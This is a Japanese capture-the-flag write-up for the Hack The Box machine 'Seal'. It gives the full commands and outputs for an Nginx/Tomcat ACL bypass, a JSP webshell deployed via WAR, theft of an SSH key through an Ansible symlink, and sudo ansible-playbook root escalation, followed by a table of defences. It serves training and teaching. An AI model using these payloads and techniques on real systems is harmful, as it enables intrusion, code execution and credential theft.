Hack The BoxのWriteup(Seal)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Seal — 全実行コマンド・実行結果レポート
Nmap スキャン
22/443/8080
→
GitBucket登録+git履歴
tomcat manager 資格情報漏洩
→
Nginxパス正規化バグ
/manager/;/html でMutual-Auth回避
→
WARファイルデプロイ
JSP webshell RCE (tomcat)
→
tomcat シェル
user.txt(kyleではなくluis) ✓
→
Ansible copy_links悪用
symlink → luis鍵を平文アーカイブ化
→
luis SSHアクセス
→
sudo ansible-playbook
構文エラー悪用の任意ファイル読取
→
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -p- --min-rate=1000 -T4 10.129.95.190
nmap -p22,443,8080 -sV -sC 10.129.95.190
RESULT
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
443/tcp  open  ssl/http    nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd
8080/tcp open  http        Jetty
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Server returned status 401 but no WWW-Authenticate header.
ℹ️
443番はnginx製の静的サイト「Seal Market」(野菜ショップの体裁)、8080番はJetty上のGitBucket (自ホストGitサーバ)。全パスで401を返すのは/signinのみ許可する認証フィルタが理由。

443番のディレクトリ列挙

BASH
ffuf -u https://10.129.95.190/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
RESULT
admin           [Status: 302]
manager         [Status: 302]
host-manager    [Status: 302]
BASH
curl -k https://10.129.95.190/manager/html
curl -k https://10.129.95.190/admin/dashboard
RESULT
<h1>403 Forbidden</h1>  ← 両方とも同じ403
ℹ️
Tomcatの/managerと/host-manager、独自の/admin/dashboard 管理画面がいずれも同じ403を返す ── 何らかの共通アクセス制御がかかっている。詳細はGitBucket側から判明する。
PHASE 2

GitBucket登録 & リポジトリ・git履歴の調査

アカウント登録・ログイン

BASH
curl -s -c cookies.txt -X POST http://10.129.95.190:8080/register \
  --data-urlencode "userName=pentester1" --data-urlencode "password=P3ntest!2026" \
  --data-urlencode "fullName=Pentester One" --data-urlencode "mailAddress=pentester1@seal.htb"
curl -s -c cookies.txt -X POST http://10.129.95.190:8080/signin \
  --data-urlencode "userName=pentester1" --data-urlencode "password=P3ntest!2026"
✅
GitBucketはセルフ登録が有効。デフォルト管理者 root/root は変更済みで失敗するが、 自分のアカウントを作成するだけで root 所有の公開リポジトリを閲覧できてしまう。
BASH
curl -s -b cookies.txt http://10.129.95.190:8080/dashboard/repos
RESULT
root/infra        (Ansible: Tomcatデプロイ用プレイブック)
root/seal_market  (nginx/tomcat設定 + Webアプリ本体、12コミット)

Mutual Authentication の存在をREADMEから把握

seal_market/README.md
# Seal Market App
## ToDo
- Remove mutual authentication for dashboard, setup registration and login features.
- Deploy updated tomcat configuration.
- Disable manager and host-manager.
BASH
curl -s -b cookies.txt http://10.129.95.190:8080/root/seal_market/raw/master/nginx/sites-available/default
RESULT(抜粋)
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
ssl_verify_client optional;

location /manager/html {
  if ($ssl_client_verify != SUCCESS) { return 403; }
  proxy_pass http://localhost:8000;
}
location /admin/dashboard { ... 同様 ... }
location /host-manager/html { ... 同様 ... }
🚨
3つの管理系パスはすべてクライアント証明書によるMutual Authenticationで保護されている。 証明書無しでは $ssl_client_verify != SUCCESS となり403が返る ── これがPhase1で見た403の正体。

git履歴からTomcat Manager資格情報を回収

BASH
git clone http://pentester1:P3ntest!2026@10.129.95.190:8080/git/root/seal_market.git
cd seal_market
git log --all -p -- tomcat/tomcat-users.xml | grep -A1 -B1 'password='
RESULT
-  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>   ← コメントのプレースホルダ(無視)
...
+<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
⚠️
tomcat-users.xmlにはApache標準のコメントアウトされたサンプル行(パスワード <must-be-changed>)が大量にあり、最初にマッチした行を鵜呑みにすると誤った値を掴む。 実際に有効な資格情報は roles=”manager-gui,admin-gui” を持つ非コメント行のみ。
Tomcat Manager 資格情報(git履歴から漏洩)
tomcat : 42MrHBf*z8{Z%
PHASE 3

Nginxパス正規化バグでMutual-Auth回避 → WARデプロイRCE

Nginx / Tomcat 間のパス解釈の不一致

NOTE
URL: /manager/foo;name=orange/bar/ に対する各ミドルウェアの解釈:

  Nginx / Apache / IIS  → /foo;name=orange/bar/  (そのまま)
  Tomcat / Jetty        → /foo/bar/              (; 以降をパスパラメータとして除去)

nginxのlocationマッチは文字列プレフィックスの完全一致("/manager/html"で始まるか)。
"/manager/;/html" は "/manager/html" という文字列とは一致しない ため
$ssl_client_verify のチェック自体を素通りする。一方でTomcat側は ";" 区切りの
セグメントをパスパラメータとみなして除去するため、最終的に "/manager/html" として
正しくルーティングされる。
🚨
Nginx側の文字列マッチとTomcat側のパス正規化の不一致を突く、 著名な「Inconsistency to ACL bypass」パターン(getbynder.com事例と同型)。

回避パスでTomcat Managerにログイン

BASH
curl -k -u 'tomcat:42MrHBf*z8{Z%' https://10.129.95.190/manager/;/html
RESULT
Tomcat Web Application Manager
Message: OK
Applications: / , /host-manager , /manager
Server: Apache Tomcat/9.0.31 (Ubuntu), Hostname: seal, IP: 127.0.1.1
✅
クライアント証明書なしでMutual Authenticationを完全にバイパスし、 Tomcat Manager GUIへのフルアクセスを獲得した。

JSP webshellをWARファイルとしてデプロイ

PYTHON (cmd.jsp)
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
  // 標準出力・標準エラーをそのままレスポンスへ出力
}
%>
BASH
jar -cf shell.war cmd.jsp
# GET /manager/;/html でセッション(JSESSIONID)とCSRF_NONCEを取得した上で、
# 同じバイパスパスに multipart/form-data で WAR をアップロード
curl -k -u 'tomcat:42MrHBf*z8{Z%' -b cookies.txt \
  "https://10.129.95.190/manager/;/html/upload;jsessionid=<JSESSIONID>?org.apache.catalina.filters.CSRF_NONCE=<NONCE>" \
  -F "deployWar=@shell.war;type=application/octet-stream"
RESULT
Message: OK   (アプリ一覧に /shell が追加される)
⚠️
アップロードのPOSTリクエストにもTomcatのCSRF対策ノンス(CSRF_NONCE)が必須。 これを付け忘れるとGUI経由の見た目上は成功しているように見えて実際には拒否される点に注意。
BASH
curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=id"
RESULT
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
✅
RCE獲得成功。 ただしこの tomcat システムユーザーには home/.txtフラグは無く、実ユーザーは luis(GitBucketをこのアカウントで起動)。
PHASE 4

横展開の下調べ — /opt/backups のAnsible自動バックアップ

定期実行されるAnsibleバックアップを発見

BASH
ls -la /opt/backups; cat /opt/backups/playbook/run.yml
RESULT
drwxrwxr-x luis luis  archives
drwxrwxr-x luis luis  playbook

---
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard \
                 dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file: {state: absent, path: /opt/backups/files/}
🚨
luis所有のcronがこのプレイブックを約2分おきに実行している。 synchronizeモジュールの copy_links=yes は 「シンボリックリンクをリンクのまま複製せず、リンク先の実体をコピーする」設定。

dashboardのuploadsフォルダがworld-writable

BASH
ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
RESULT
drwxrwxrwx root root uploads

luisのSSH秘密鍵へのシンボリックリンクを設置

BASH
curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=ln+-sf+/home/luis/.ssh/id_rsa+/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/keys"
RESULT(設置確認)
lrwxrwxrwx 1 tomcat tomcat 22 ... keys -> /home/luis/.ssh/id_rsa

約2分後、cronが起動したAnsibleが uploads フォルダごと同期する際、 copy_links=yes によって シンボリックリンクではなく id_rsa の実体データが /opt/backups/files/dashboard/uploads/keys にコピーされ、そのまま luis所有・world-readableなアーカイブに固められる。

BASH
ls -la /opt/backups/archives/
# → backup-2026-09-26-06:45:32.gz (luis:luis, -rw-rw-r--)
curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=cp+/opt/backups/archives/backup-2026-09-26-06:45:32.gz+/var/lib/tomcat9/webapps/shell/backup.gz"
curl -k -o backup.gz "https://10.129.95.190/shell/backup.gz"
tar -xzf backup.gz && cat dashboard/uploads/keys
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs3kISCeddKacCQhVcpTTVcLxM9q2iQKzi9hsnlEt0Z7kchZrSZsG
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
luisの実SSH秘密鍵を窃取成功。 クライアント証明書もパスワードクラックも不要な、Ansibleの機能悪用による正攻法の横展開。

luisとしてSSHログイン & user.txt取得

BASH
chmod 600 luis_id_rsa
ssh -i luis_id_rsa luis@10.129.95.190 "id; cat /home/luis/user.txt"
RESULT
uid=1000(luis) gid=1000(luis) groups=1000(luis)
f41d15d7f8884afdce2d7ab8b4b9d68f
user.txt — luis
f41d15d7f8884afdce2d7ab8b4b9d68f
PHASE 5

権限昇格の下調べ — ansible-playbook の NOPASSWD sudo

sudo -l の確認

BASH
ssh -i luis_id_rsa luis@10.129.95.190 "sudo -l"
RESULT
User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *
🚨
ansible-playbookを任意引数でroot実行できる。GTFOBinsにも載る 典型的な権限昇格ポイントで、少なくとも2通りの攻略法がある。
PHASE 6

ansible-playbook 悪用 → root.txt

方法1: SUIDビット付与プレイブック

PYTHON (root.yml)
---
- name: "Root"
  hosts: localhost
  connection: local
  tasks:
    - name: "run this command"
      shell: "chmod u+s /bin/dash"
      register: "output"
    - debug: var=output.stdout_lines
BASH
scp -i luis_id_rsa root.yml luis@10.129.95.190:/tmp/root.yml
ssh -i luis_id_rsa luis@10.129.95.190 "sudo ansible-playbook /tmp/root.yml; sh -p -c 'id; cat /root/root.txt'"
RESULT
-rwsr-xr-x 1 root root 129816 ... /bin/dash   ← SUID付与成功
uid=1000(luis) gid=1000(luis) euid=0(root) groups=1000(luis)
da0cfb9c8f3aa13a30d25683e345a96e
✅
ansible-playbookのタスクはroot権限で実行されるため、chmod u+s /bin/dash を仕込んだ後 sh -p でフル特権シェルを得られる。使用後は chmod u-s /bin/dash で後片付け必須。

方法2: 構文チェックエラーを悪用した任意ファイル読み取り(より高速)

NOTE
ansible-playbookは実行前にYAML構文を検証する。有効なPlaybook形式でない
ファイル(例えば普通のテキストファイル)を渡すと、パースエラーメッセージの中に
該当ファイルの内容がそのままエコーバックされる。sudoで任意パスを
指定できるため、これは事実上の任意ファイル読み取りプリミティブになる。
BASH
ssh -i luis_id_rsa luis@10.129.95.190 "sudo ansible-playbook /root/root.txt"
RESULT
ERROR! A playbook must be a list of plays, got a <class '...AnsibleUnicode'> instead
The error appears to be in '/root/root.txt': line 1, column 1 ...
The offending line appears to be:

da0cfb9c8f3aa13a30d25683e345a96e
^ here
✅
SUID設置・シェル起動・後片付けの手間なく、1コマンドでroot.txtを直接読み取れる。 同じ手法で /etc/shadow 等も読み取り可能。
root.txt
da0cfb9c8f3aa13a30d25683e345a96e

後片付け

BASH
ssh -i luis_id_rsa luis@10.129.95.190 "sh -p -c 'chmod u-s /bin/dash; rm -f /tmp/root.yml'"
curl -k "https://10.129.95.190/shell/cmd.jsp?cmd=rm+-f+/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/keys"
# Tomcat Manager から /shell を undeploy
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — luis
f41d15d7f8884afdce2d7ab8b4b9d68f
root.txt — root
da0cfb9c8f3aa13a30d25683e345a96e

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
機密情報のgit履歴残留 GitBucket root/seal_market リポジトリ Tomcat Manager資格情報の漏洩 Medium セルフ登録可能なGitBucketで公開リポジトリの全コミット履歴を走査し、削除・上書きされた認証情報を復元
Nginxパス正規化の不一致 /manager/html, /admin/dashboard, /host-manager/html クライアント証明書(Mutual Auth)の完全バイパス Critical /manager/;/html のようにセミコロンでセグメントを分断し、Nginxの文字列一致とTomcatのパスパラメータ除去の解釈差を突く
Tomcat Manager 経由の任意コード実行 Tomcat Manager (WAR デプロイ機能) tomcatユーザーとしてのRCE High JSP webshellをWARに固めてアップロード・デプロイ(Manager GUIのCSRFノンス取得込み)
Ansible synchronize copy_links の悪用 /opt/backups/playbook/run.yml + world-writableなuploadsディレクトリ luisのSSH秘密鍵窃取(横展開) High 攻撃者が書き込めるディレクトリにシンボリックリンクを設置し、copy_links=yesで定期バックアップ処理にリンク先の実体をコピーさせ、world-readableなアーカイブとして持ち出す
ansible-playbook の NOPASSWD sudo /usr/bin/ansible-playbook * root権限昇格(SUID付与 or 任意ファイル読み取り) Critical 悪意あるPlaybookでSUID付与、または構文エラーメッセージに紛れ込む任意ファイル内容の読み取り

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap、ffuf22/443/8080、GitBucket、Tomcat管理系403
2情報収集GitBucketセルフ登録 + git log -ptomcat:42MrHBf*z8{Z%、Mutual Auth設定の把握
3認証バイパス+RCE/manager/;/html + WARデプロイtomcatユーザーシェル
4横展開Ansible copy_links シンボリックリンク悪用user.txt(luisのSSH鍵窃取)
5権限調査sudo -lansible-playbook NOPASSWD確認
6権限昇格ansible-playbook構文エラー悪用の任意ファイル読取root.txt

学んだ教訓 & 防御策

問題点防御策
自己ホスト型Gitサーバでセルフ登録が有効、かつ機密情報がコミット履歴に残留 登録機能は招待制/管理者承認制にし、機密情報混入時はgit filter-repo等で履歴自体を書き換える(単なる新規コミットでの上書きでは不十分)
Nginxのリバースプロキシ設定がTomcatとのパス解釈差異を考慮していない アクセス制御は可能な限りアプリケーション層(Tomcat自身のRemoteAddrValve等)で行い、フロントプロキシの文字列一致だけに依存しない。merge_slashesだけでなくセミコロンを含む不正な区切り文字も正規化・拒否する
Tomcat Managerが本番稼働かつ推測可能な資格情報で保護 Manager/Host Managerアプリは本番環境で無効化するか、IP制限とVPN経由アクセスに限定する
world-writableディレクトリに対しシンボリックリンクを実体化するバックアップ処理 copy_linksのデフォルトは避け、rsync/Ansibleのバックアップ対象ディレクトリのパーミッションを最小化。symlink検出・拒否のオプションを明示的に有効化する
ansible-playbookへの無制限なsudo権限付与 実行対象のPlaybookパスをホワイトリスト化し、任意ファイルパスを引数として渡せないようにする。少なくとも構文検証エラーの詳細出力を一般ユーザーに晒さない
HackTheBox: Seal | 完全攻略レポート